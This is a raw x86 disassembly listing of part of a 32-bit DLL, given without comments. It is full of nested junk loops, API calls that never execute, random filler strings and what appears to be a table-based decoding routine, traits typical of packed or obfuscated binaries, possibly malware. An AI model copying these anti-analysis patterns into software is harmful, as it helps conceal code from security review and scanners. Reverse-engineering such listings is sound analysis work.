je 0x10014ce3
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0xcf8], 0xb64d
mov dword [ebp - 0xd4c], 0x62d7faef
mov dword [ebp - 0x60], 0
jmp 0x1001469d
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 2
jge 0x100146b3
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0x8dc], 0
jmp 0x10014696
mov dword [ebp - 0x60], 0
jmp 0x100146c3
mov eax, dword [ebp - 0x60]
inc eax
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 1
jge 0x100146d9
mov eax, dword [ebp - 0x60]
mov dword [ebp + eax*4 - 0xaac], 0x466b01fe
jmp 0x100146bc
mov byte [ebp - 0x9d], 0
movzx eax, byte [ebp - 0x9d]
test eax, eax
je 0x100146fa
push 0
push 0x24c4
push 0
call dword [sym.imp.GDI32.dll_ExtCreateRegion]
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xd08], eax
mov eax, dword [ebp - 0x3c]
neg eax
cmp dword [ebp - 0x70], eax
jl 0x10014722
mov eax, 0x7cc42477
test eax, eax
je 0x10014722
mov dword [ebp - 0x458], 1
jmp 0x10014729
and dword [ebp - 0x458], 0
mov eax, dword [ebp - 0x70]
cmp eax, dword [ebp - 0x458]
jg 0x10014740
mov dword [ebp - 0x844], 1
jmp 0x10014747
and dword [ebp - 0x844], 0
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0xd54], eax
cmp dword [ebp - 0x3c], 0xfffffffe
jl 0x10014762
mov dword [ebp - 0x7b0], 1
jmp 0x10014769
and dword [ebp - 0x7b0], 0
mov eax, dword [ebp - 0x3c]
cmp dword [ebp - 0x7b0], eax
jl 0x10014780
mov dword [ebp - 0x460], 1
jmp 0x10014787
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x460]
sub eax, dword [ebp - 0x70]
add eax, dword [ebp - 0x70]
je 0x100149d2
cmp dword [ebp - 0x3c], 0
je 0x100149d2
mov dword [ebp - 0xd18], 0xfffffff8
push 2
lea ecx, [ebp - 0xbf0]
call fcn.100018bd
mov dword [ebp - 4], 0xf
mov dword [ebp - 0xd60], 7
mov dword [ebp - 0x620], 0x6e32
mov dword [ebp - 0x9e0], str.bwdbp_xvwc_xrxeu_hyxplgdq_nsq_uwj
cmp dword [ebp - 0x620], 0x7204
jle 0x100148c8
and dword [ebp - 0x1e4], 0
jmp 0x10014805
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 0x3642
jge 0x100148c8
and dword [ebp - 0x1dc], 0
jmp 0x1001482b
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x5bca
jge 0x100148c3
and dword [ebp - 0x2d4], 0
jmp 0x10014851
mov eax, dword [ebp - 0x2d4]
inc eax
mov dword [ebp - 0x2d4], eax
cmp dword [ebp - 0x2d4], 0x7e4b
jge 0x100148be
and dword [ebp - 0x350], 0
jmp 0x10014873
mov eax, dword [ebp - 0x350]
inc eax
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0x676a
jge 0x100148bc
mov eax, dword [ebp - 0x1dc]
add eax, dword [ebp - 0x2d4]
xor eax, dword [ebp - 0x1e4]
or eax, dword [ebp - 0x350]
cdq
mov dword [ebp - 0x8d0], eax
mov dword [ebp - 0x8cc], edx
push dword [ebp - 0x8cc]
push dword [ebp - 0x8d0]
mov ecx, 0x10071e38
call fcn.10003dea
jmp 0x10014866
jmp 0x10014844
jmp 0x1001481e
jmp 0x100147f8
mov dword [ebp - 0xd28], 0x29ac92d1
mov byte [ebp - 4], 0x10
cmp dword [ebp - 0x620], 0x6b28
jge 0x100148f2
mov edx, dword [ebp - 0x9e0]
mov ecx, 0x10071e38
call fcn.10005f73
jmp 0x1001490e
mov dword [ebp - 4], 0xf
jmp 0x1001491e
mov dword [ebp - 0x1ec], 0
jmp 0x10014937
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 2
jge 0x10014959
push dword [ebp - 0x1ec]
lea ecx, [ebp - 0xbf0]
call fcn.1000195c
mov dword [eax], 1
jmp 0x1001492a
push 4
pop eax
imul eax, eax, 0
mov esi, dword [ebp + eax - 0x8dc]
push 0
lea ecx, [ebp - 0xbf0]
call fcn.1000195c
xor ecx, ecx
inc ecx
sub ecx, dword [eax]
cmp ecx, esi
jge 0x10014988
mov dword [ebp - 0x468], 1
jmp 0x1001498f
and dword [ebp - 0x468], 0
cmp dword [ebp - 0x468], 2
ja 0x100149a4
mov dword [ebp - 0x700], 1
jmp 0x100149ab
and dword [ebp - 0x700], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x700]
mov dword [ebp + eax - 0x8dc], ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xbf0]
call fcn.10001940
jmp 0x10014cde
mov dword [ebp - 0xd68], 0xae861e80
mov dword [ebp - 0x3c], 0
jmp 0x100149ec
mov eax, dword [ebp - 0x3c]
inc eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 5
jg 0x10014cde
mov dword [ebp - 0xd38], 0x6571f67
mov dword [ebp - 0xba8], 0xe2e800b
mov dword [ebp - 0xba4], 0xe2e800b
mov dword [ebp - 0xba0], 0xe2e800b
mov dword [ebp - 0xb9c], 0xe2e800b
lea ecx, [ebp - 0x39d]
call fcn.1000196b
push eax
lea eax, [ebp - 0xb98]
push eax
lea eax, [ebp - 0xba8]
push eax
lea ecx, [ebp - 0xe8c]
call fcn.1000196e
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xcc4]
call fcn.1000191a
mov dword [ebp - 4], 0x12
mov dword [ebp - 0x2dc], 0
jmp 0x10014a7d
mov eax, dword [ebp - 0x2dc]
dec eax
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0xffffffeb
jg 0x10014cad
mov dword [ebp - 0xd70], 6
mov dword [ebp - 0xd48], 0x3184bafc
mov dword [ebp - 0x84c], 0x918ca730
mov dword [ebp - 0x84c], 1
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x8dc]
add eax, 4
mov dword [ebp - 0x470], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x470]
mov dword [ebp + eax - 0xaac], ecx
cmp dword [ebp - 0x470], 0x70c68704
jne 0x10014af3
mov dword [ebp - 0x628], 1
jmp 0x10014afa
and dword [ebp - 0x628], 0
cmp dword [ebp - 0x628], 0xd045
jg 0x10014b18
cmp dword [ebp - 0x70], 0
je 0x10014b18
mov dword [ebp - 0x478], 1
jmp 0x10014b1f
and dword [ebp - 0x478], 0
push 1
lea ecx, [ebp - 0xcc4]
call fcn.1000195c
mov ecx, dword [ebp - 0x478]
mov dword [eax], ecx
mov dword [ebp - 0x774], 0x63f2
mov dword [ebp - 0x854], str.yjkuhinwf_gpxyeot_kpjk
cmp dword [ebp - 0x774], 0x669f
jle 0x10014c33
and dword [ebp - 0x1f4], 0
jmp 0x10014b6e
mov eax, dword [ebp - 0x1f4]
inc eax
mov dword [ebp - 0x1f4], eax
cmp dword [ebp - 0x1f4], 0x66e7
jge 0x10014c33
and dword [ebp - 0x320], 0
jmp 0x10014b94
mov eax, dword [ebp - 0x320]
inc eax
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0x9b
jge 0x10014c2e
and dword [ebp - 0x1fc], 0
jmp 0x10014bba
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0x49b6
jge 0x10014c29
and dword [ebp - 0x2e4], 0
jmp 0x10014bdc
mov eax, dword [ebp - 0x2e4]
inc eax
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0x3d33
jge 0x10014c27
mov eax, dword [ebp - 0x1f4]
mov ecx, dword [ebp - 0x320]
sar eax, cl
and eax, dword [ebp - 0x1fc]
and eax, dword [ebp - 0x2e4]
cdq
mov dword [ebp - 0x8e8], eax
mov dword [ebp - 0x8e4], edx
push dword [ebp - 0x8e4]
push dword [ebp - 0x8e8]
mov ecx, 0x10071e38
call fcn.10003dea
jmp 0x10014bcf
jmp 0x10014bad
jmp 0x10014b87
jmp 0x10014b61
mov byte [ebp - 0xc2], 0
movzx eax, byte [ebp - 0xc2]
test eax, eax
je 0x10014c5c
push 0
push 0x533
push 0x1dbe
push 0x14c7
call dword [sym.imp.GDI32.dll_SetPixel]
mov byte [ebp - 4], 0x13
cmp dword [ebp - 0x774], 0x62db
jge 0x10014c7c
mov edx, dword [ebp - 0x854]
mov ecx, 0x10071e38
call fcn.10005f73
jmp 0x10014c98
mov dword [ebp - 4], 0x12
jmp 0x10014ca8
jmp 0x10014a70
mov byte [ebp - 0xa5], 0
movzx eax, byte [ebp - 0xa5]
test eax, eax
je 0x10014cca
push 0xd57
call dword [sym.imp.USER32.dll_IsIconic]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcc4]
call fcn.10001940
jmp 0x100149e5
jmp 0x10014661
mov dword [ebp - 0x498], 0x6766
mov dword [ebp - 0x86c], str.tkdfw_bma_ojo_wmpe_etldhi_nekni_gerojqo
cmp dword [ebp - 0x498], 0x68e9
jle 0x10014e15
and dword [ebp - 0x20c], 0
jmp 0x10014d1d
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0x53b
jge 0x10014e15
and dword [ebp - 0x2ec], 0
jmp 0x10014d43
mov eax, dword [ebp - 0x2ec]
inc eax
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0x6a3d
jge 0x10014e10
and dword [ebp - 0x204], 0
jmp 0x10014d69
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0x5655
jge 0x10014e0b
and dword [ebp - 0x334], 0
jmp 0x10014d8f
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0x74a7
jge 0x10014e06
mov eax, dword [ebp - 0x204]
mov ecx, dword [ebp - 0x334]
sar eax, cl
mov ecx, dword [ebp - 0x20c]
imul ecx, dword [ebp - 0x2ec]
and eax, ecx
cdq
mov dword [ebp - 0x8f4], eax
mov dword [ebp - 0x8f0], edx
push dword [ebp - 0x8f0]
push dword [ebp - 0x8f4]
lea ecx, [ebp - 0xf44]
call fcn.10002462
pop ecx
pop ecx
mov dword [ebp - 0x9e8], eax
mov ecx, dword [ebp - 0x9e8]
call fcn.10003dca
push eax
call fcn.1003eb1f
pop ecx
lea ecx, [ebp - 0xf44]
call fcn.10003dc0
jmp 0x10014d82
jmp 0x10014d5c
jmp 0x10014d36
jmp 0x10014d10
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x15c]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x20], eax
jne 0x1001527a
push 3
lea ecx, [ebp - 0xcd4]
call fcn.100018bd
mov dword [ebp - 4], 0x15
mov dword [ebp - 0x33c], 0x1e1e87df
mov dword [ebp - 0x214], 0
jmp 0x10014e67
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 3
jge 0x10014e86
push dword [ebp - 0x214]
lea ecx, [ebp - 0xcd4]
call fcn.1000195c
or dword [eax], 0xffffffff
jmp 0x10014e5a
mov dword [ebp - 0x33c], 0
jmp 0x10014e9f
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 2
jg 0x10014ec9
mov dword [ebp - 0x480], 1
mov dword [ebp - 0x480], 0x2d4ea680
cmp dword [ebp - 0x480], 0
je 0x10014ec7
jmp 0x10014e92
jmp 0x10014e92
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xcd4]
call fcn.10001940
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x15c]
inc eax
mov dword [ebp - 0x114], eax
mov dword [ebp - 0x2fc], 0xfffffffc
mov dword [ebp - 0x21c], 0
jmp 0x10014f0d
mov eax, dword [ebp - 0x21c]
inc eax
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 2
jge 0x10014f29
mov eax, dword [ebp - 0x21c]
mov dword [ebp + eax*4 - 0xecc], 0
jmp 0x10014f00
mov byte [ebp - 0xc4], 0
movzx eax, byte [ebp - 0xc4]
test eax, eax
je 0x10014f43
push 0
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x630], 0x5903
mov dword [ebp - 0xa58], str.inhtuqxos_fqwoulo_lir_fcszdm_xaquqs_ueq_jeq_jzbuiq_rmyzrmhnw_lnsieriwg_nuczytmn_ncxr_xiigdttrv_fdfiare
cmp dword [ebp - 0x630], 0x5b08
jle 0x10015075
and dword [ebp - 0x344], 0
jmp 0x10014f7d
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0x57fb
jge 0x10015075
and dword [ebp - 0x2f4], 0
jmp 0x10014fa3
mov eax, dword [ebp - 0x2f4]
inc eax
mov dword [ebp - 0x2f4], eax
cmp dword [ebp - 0x2f4], 0x5f24
jge 0x10015070
and dword [ebp - 0x224], 0
jmp 0x10014fc9
mov eax, dword [ebp - 0x224]
inc eax
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0x989
jge 0x1001506b
and dword [ebp - 0x22c], 0
jmp 0x10014fef
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0x1929
jge 0x10015066
mov eax, dword [ebp - 0x2f4]
cdq
idiv dword [ebp - 0x224]
mov eax, dword [ebp - 0x344]
sub eax, edx
mov ecx, dword [ebp - 0x22c]
shl eax, cl
cdq
mov dword [ebp - 0x900], eax
mov dword [ebp - 0x8fc], edx
push dword [ebp - 0x8fc]
push dword [ebp - 0x900]
lea ecx, [ebp - 0x1034]
call fcn.10002462
pop ecx
pop ecx
mov dword [ebp - 0x85c], eax
mov ecx, dword [ebp - 0x85c]
call fcn.10003dca
push eax
call fcn.1003eb1f
pop ecx
lea ecx, [ebp - 0x1034]
call fcn.10003dc0
jmp 0x10014fe2
jmp 0x10014fbc
jmp 0x10014f96
jmp 0x10014f70
mov dword [ebp - 0x2fc], 1
jmp 0x1001508e
mov eax, dword [ebp - 0x2fc]
dec eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0
jl 0x10015110
mov dword [ebp - 0x234], 0x265ab3e9
mov byte [ebp - 0xad], 0
movzx eax, byte [ebp - 0xad]
test eax, eax
je 0x100150c8
push 0x2fb
push 0
push 0
push 0
push 0x4c
push 0
call dword [sym.imp.KERNEL32.dll_GetDateFormatW]
mov dword [ebp - 0x234], 1
jmp 0x100150e1
mov eax, dword [ebp - 0x234]
dec eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 0
jl 0x1001510b
mov byte [ebp - 0xc6], 0
movzx eax, byte [ebp - 0xc6]
test eax, eax
je 0x10015109
push 0xa10
push 0
call dword [sym.imp.USER32.dll_CharUpperBuffW]
jmp 0x100150d4
jmp 0x10015081
mov dword [ebp - 4], 0x16
cmp dword [ebp - 0x630], 0x5734
jge 0x1001512f
push dword [ebp - 0xa58]
call fcn.1003eb1f
pop ecx
jmp 0x1001514b
or dword [ebp - 4], 0xffffffff
jmp 0x10015155
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x15c]
mov ecx, dword [ebp - 0x20]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0xd8], 0xc68ec0ae
mov dword [ebp - 0x488], 0
mov dword [ebp - 0xd8], 0
jmp 0x10015197
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x15
jl 0x1001524c
mov dword [ebp - 0x864], 0xfffffffc
mov dword [ebp - 0x9f0], 0xffffffff
cmp dword [ebp - 0x864], 0
jne 0x100151dd
mov dword [ebp - 0x488], 4
cmp dword [ebp - 0x488], 0
jne 0x100151dd
and dword [ebp - 0x708], 0
jmp 0x100151e7
mov dword [ebp - 0x708], 1
cmp dword [ebp - 0x708], 0xbc6e
jg 0x100151ff
mov dword [ebp - 0x490], 1
jmp 0x10015206
and dword [ebp - 0x490], 0
cmp dword [ebp - 0xd8], 0
jne 0x1001522b
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xd78], eax
push 2
pop eax
test eax, eax
jg 0x1001522b
and dword [ebp - 0x638], 0
jmp 0x10015235
mov dword [ebp - 0x638], 1
mov eax, dword [ebp - 0x490]
sub eax, dword [ebp - 0x638]
mov dword [ebp - 0x9f0], eax
jmp 0x1001518a
mov byte [ebp - 0xc8], 0
movzx eax, byte [ebp - 0xc8]
test eax, eax
je 0x10015275
push 0
push 0x1983
push 0x21cd
push 0x14ab
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
jmp 0x1001462b
mov dword [ebp - 4], 0x18
cmp dword [ebp - 0x498], 0x646b
jge 0x10015299
push dword [ebp - 0x86c]
call fcn.1003eb1f
pop ecx
jmp 0x100152b5
or dword [ebp - 4], 0xffffffff
jmp 0x100152bf
mov dword [ebp - 0x34c], 0x4801897a
mov eax, dword [ebp - 0x34c]
mov dword [ebp - 0xd80], eax
mov eax, dword [ebp - 0x34c]
cmp eax, dword [ebp - 0x34c]
jle 0x100152ef
mov dword [ebp - 0x7c0], 1
jmp 0x100152f6
and dword [ebp - 0x7c0], 0
mov eax, dword [ebp - 0x34c]
sub eax, dword [ebp - 0x7c0]
je 0x10015345
mov byte [ebp - 0xc3], 0
movzx eax, byte [ebp - 0xc3]
test eax, eax
je 0x1001531c
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov byte [ebp - 0xc5], 0
movzx eax, byte [ebp - 0xc5]
test eax, eax
je 0x10015343
push 0
push 0x20c8
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
jmp 0x10015364
mov byte [ebp - 0xb1], 0
movzx eax, byte [ebp - 0xb1]
test eax, eax
je 0x10015364
push 0
push 0x1cd0
call dword [sym.imp.USER32.dll_GetWindowRect]
mov byte [ebp - 0xbf], 0
movzx eax, byte [ebp - 0xbf]
test eax, eax
je 0x10015386
push 0x16fa
push 0x103a
call dword [sym.imp.GDI32.dll_SetMapMode]
mov dword [ebp - 0x4a0], 0x67a0
mov dword [ebp - 0xad8], str.nxtlynjf_yslucflo_kfoolnm_zmhusgbcr_zsebcjlwa_hyxjrwwlv
cmp dword [ebp - 0x4a0], 0x67da
jle 0x1001541e
and dword [ebp - 0x23c], 0
jmp 0x100153bc
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0xcc5
jge 0x1001541e
and dword [ebp - 0x304], 0
jmp 0x100153de
mov eax, dword [ebp - 0x304]
inc eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0x4f78
jge 0x1001541c
mov eax, dword [ebp - 0x23c]
imul eax, dword [ebp - 0x304]
cdq
mov dword [ebp - 0x90c], eax
mov dword [ebp - 0x908], edx
push dword [ebp - 0x908]
push dword [ebp - 0x90c]
mov ecx, 0x10071e38
call fcn.10003dea
jmp 0x100153d1
jmp 0x100153af
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x114]
movzx eax, byte [ebp + eax - 0x15e]
movzx eax, word [ebp + eax*2 - 0xc70]
mov ecx, dword [ebp - 0x20]
movzx ecx, byte [ebp + ecx - 0x15b]
and ecx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x114]
movzx eax, byte [ebp + eax - 0x15e]
movzx eax, word [ebp + eax*2 - 0xc70]
mov edx, dword [ebp - 0x20]
movzx edx, byte [ebp + edx - 0x15b]
and edx, eax
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 0x114]
movzx eax, byte [ebp + eax - 0x15e]
movzx eax, word [ebp + eax*2 - 0xc70]
mov esi, dword [ebp - 0x20]
movzx esi, byte [ebp + esi - 0x15b]
add esi, eax
sub esi, edx
sub esi, ecx
mov eax, dword [ebp - 0x20]
movzx eax, byte [ebp + eax - 0x15c]
mov word [ebp + eax*2 - 0xc70], si
mov dword [ebp - 4], 0x1a
cmp dword [ebp - 0x4a0], 0x6406
jge 0x100154ca
mov edx, dword [ebp - 0xad8]
mov ecx, 0x10071e38
call fcn.10005f73
jmp 0x100154e6
or dword [ebp - 4], 0xffffffff
jmp 0x100154f0
and dword [ebp - 0x114], 0
jmp 0x1001462b
mov dword [ebp - 0x244], 6
mov dword [ebp - 0x244], 0x15
jmp 0x1001551f
mov eax, dword [ebp - 0x244]
dec eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 3
jg 0x100157a2
mov dword [ebp - 0x354], 9
mov dword [ebp - 0xb38], 9
mov dword [ebp - 0xb34], 9
mov dword [ebp - 0xb30], 9
mov dword [ebp - 0xb2c], 9
mov dword [ebp - 0x354], 0
jmp 0x10015577
mov eax, dword [ebp - 0x354]
inc eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0x1d
jg 0x1001579d
push 3
lea ecx, [ebp - 0x808]
call fcn.100018bd
mov dword [ebp - 4], 0x1c
mov dword [ebp - 0x24c], 0
jmp 0x100155b1
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 3
jge 0x100155d3
push dword [ebp - 0x24c]
lea ecx, [ebp - 0x808]
call fcn.1000195c
mov dword [eax], 0x14c90d29
jmp 0x100155a4
mov dword [ebp - 0x4a8], 0x4b9b
mov dword [ebp - 0x838], str.drfqx_qpnk_ntdfkf_qeodyeui
cmp dword [ebp - 0x4a8], 0x4f61
jle 0x10015697
and dword [ebp - 0x30c], 0
jmp 0x1001560d
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0x5124
jge 0x10015697
and dword [ebp - 0x254], 0
jmp 0x1001562f
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0x4d98
jge 0x10015692
mov eax, dword [ebp - 0x30c]
or eax, dword [ebp - 0x254]
cdq
mov dword [ebp - 0x918], eax
mov dword [ebp - 0x914], edx
push dword [ebp - 0x914]
push dword [ebp - 0x918]
lea ecx, [ebp - 0xf74]
call fcn.10002462
pop ecx
pop ecx
mov dword [ebp - 0x874], eax
mov ecx, dword [ebp - 0x874]
call fcn.10003dca
push eax
call fcn.1003eb1f
pop ecx
lea ecx, [ebp - 0xf74]
call fcn.10003dc0
jmp 0x10015622
jmp 0x10015600
push 2
lea ecx, [ebp - 0x808]
call fcn.1000195c
and dword [eax], 0
jmp 0x100156cd
push 2
lea ecx, [ebp - 0x808]
call fcn.1000195c
mov dword [ebp - 0x640], eax
mov eax, dword [ebp - 0x640]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x640]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0x808]
call fcn.1000195c
cmp dword [eax], 3
jg 0x10015741
mov dword [ebp - 0x12c], 0xffffffff
mov dword [ebp - 0x12c], 0
jmp 0x10015702
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 4
jge 0x1001571e
mov eax, dword [ebp - 0x12c]
mov dword [ebp + eax*4 - 0xb38], 0x61eefb6f
jmp 0x100156f5
push 2
lea ecx, [ebp - 0x808]
call fcn.1000195c
mov eax, dword [eax]
cmp dword [ebp + eax*4 - 0xb38], 0
je 0x1001573c
jmp 0x100156a9
jmp 0x100156a9
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x4a8], 0x47b8
jge 0x1001575d
push dword [ebp - 0x838]
call fcn.1003eb1f
pop ecx
jmp 0x10015779
mov dword [ebp - 4], 0x1c
jmp 0x10015789
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x808]
call fcn.10001940
jmp 0x1001556a
jmp 0x10015512
push 2
pop eax
imul eax, eax, 0xc
xor ecx, ecx
mov word [ebp + eax - 0xc70], cx
lea eax, [ebp - 0xc70]
push eax
lea ecx, [ebp - 0x1004]
call fcn.10003f27
mov dword [ebp - 0x87c], eax
mov eax, dword [ebp - 0x87c]
mov dword [ebp - 0xa60], eax
mov dword [ebp - 4], 0x1f
push dword [ebp - 0xa60]
call fcn.1000d968
pop ecx
mov dword [ebp - 0x5d4], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1004]
call fcn.10003f4c
mov dword [ebp - 0x884], 0xfffffff8
mov dword [ebp - 0x35c], 0
jmp 0x10015821
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 2
jge 0x1001583d
mov eax, dword [ebp - 0x35c]
mov dword [ebp + eax*4 - 0xd5c], 0x80444555
jmp 0x10015814
mov byte [ebp - 0xbd], 0
movzx eax, byte [ebp - 0xbd]
test eax, eax
je 0x10015861
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
xor eax, eax
je 0x10015884
mov byte [ebp - 0xb3], 0
movzx eax, byte [ebp - 0xb3]
test eax, eax
je 0x1001587f
push 0
call dword [sym.imp.USER32.dll_DestroyMenu]
jmp 0x10015996
mov byte [ebp - 0xb5], 0
movzx eax, byte [ebp - 0xb5]
test eax, eax
je 0x1001589e
push 0
call dword [sym.imp.GDI32.dll_CreateFontIndirectW]
mov dword [ebp - 0x710], 0xa4e
mov dword [ebp - 0xa00], str.zey_vuja_nhiyn
cmp dword [ebp - 0x710], 0xd71
jle 0x10015935
and dword [ebp - 0x25c], 0
jmp 0x100158d4
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x62b8
jge 0x10015935
and dword [ebp - 0x314], 0
jmp 0x100158f6
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0x3583
jge 0x10015933
mov eax, dword [ebp - 0x25c]
or eax, dword [ebp - 0x314]
cdq
mov dword [ebp - 0x924], eax
mov dword [ebp - 0x920], edx
push dword [ebp - 0x920]
push dword [ebp - 0x924]
mov ecx, 0x10071e38
call fcn.10003dea
jmp 0x100158e9
jmp 0x100158c7
mov eax, dword [ebp - 0x884]
add eax, 0x518854c7
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xd5c], eax
mov dword [ebp - 4], 0x20
cmp dword [ebp - 0x710], 0xa3f
jge 0x10015970
mov edx, dword [ebp - 0xa00]
mov ecx, 0x10071e38
call fcn.10005f73
jmp 0x1001598c
or dword [ebp - 4], 0xffffffff
jmp 0x10015996
and dword [ebp - 0x374], 0
jmp 0x100159ac
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0xd
jae 0x10015d27
mov dword [ebp - 0x31c], 0x4801897a
mov dword [ebp - 0x4b8], 0x5bd2
mov dword [ebp - 0xa08], str.hgjelcgn_idpqygrn_mrcfpanf_bekjtwye_hlgrnwgo_ctrvz_npac_eedejgzkk
cmp dword [ebp - 0x4b8], 0x5da9
jle 0x10015abc
and dword [ebp - 0x26c], 0
jmp 0x100159fd
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0x3b31
jge 0x10015abc
and dword [ebp - 0x264], 0
jmp 0x10015a23
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 0xced
jge 0x10015ab7
and dword [ebp - 0x364], 0
jmp 0x10015a49
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0x635c
jge 0x10015ab2
mov eax, dword [ebp - 0x264]
xor eax, dword [ebp - 0x364]
or eax, dword [ebp - 0x26c]
cdq
mov dword [ebp - 0x930], eax
mov dword [ebp - 0x92c], edx
push dword [ebp - 0x92c]
push dword [ebp - 0x930]
lea ecx, [ebp - 0xfa4]
call fcn.10002462
pop ecx
pop ecx
mov dword [ebp - 0x88c], eax
mov ecx, dword [ebp - 0x88c]
call fcn.10003dca
push eax
call fcn.1003eb1f
pop ecx
lea ecx, [ebp - 0xfa4]
call fcn.10003dc0
jmp 0x10015a3c
jmp 0x10015a16
jmp 0x100159f0
mov eax, dword [ebp - 0x31c]
mov dword [ebp - 0xdc4], eax
mov eax, dword [ebp - 0x31c]
cmp eax, dword [ebp - 0x31c]
jle 0x10015ae2
mov dword [ebp - 0x4b0], 1
jmp 0x10015ae9
and dword [ebp - 0x4b0], 0
mov eax, dword [ebp - 0x31c]
sub eax, dword [ebp - 0x4b0]
je 0x10015b3b
mov byte [ebp - 0x85], 0
movzx eax, byte [ebp - 0x85]
test eax, eax
je 0x10015b0f
call dword [sym.imp.KERNEL32.dll_GetUserDefaultUILanguage]
mov byte [ebp - 0xc7], 0
movzx eax, byte [ebp - 0xc7]
test eax, eax
je 0x10015b36
push 0
push 0x20c8
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
jmp 0x10015cab
mov byte [ebp - 0xb7], 0
movzx eax, byte [ebp - 0xb7]
test eax, eax
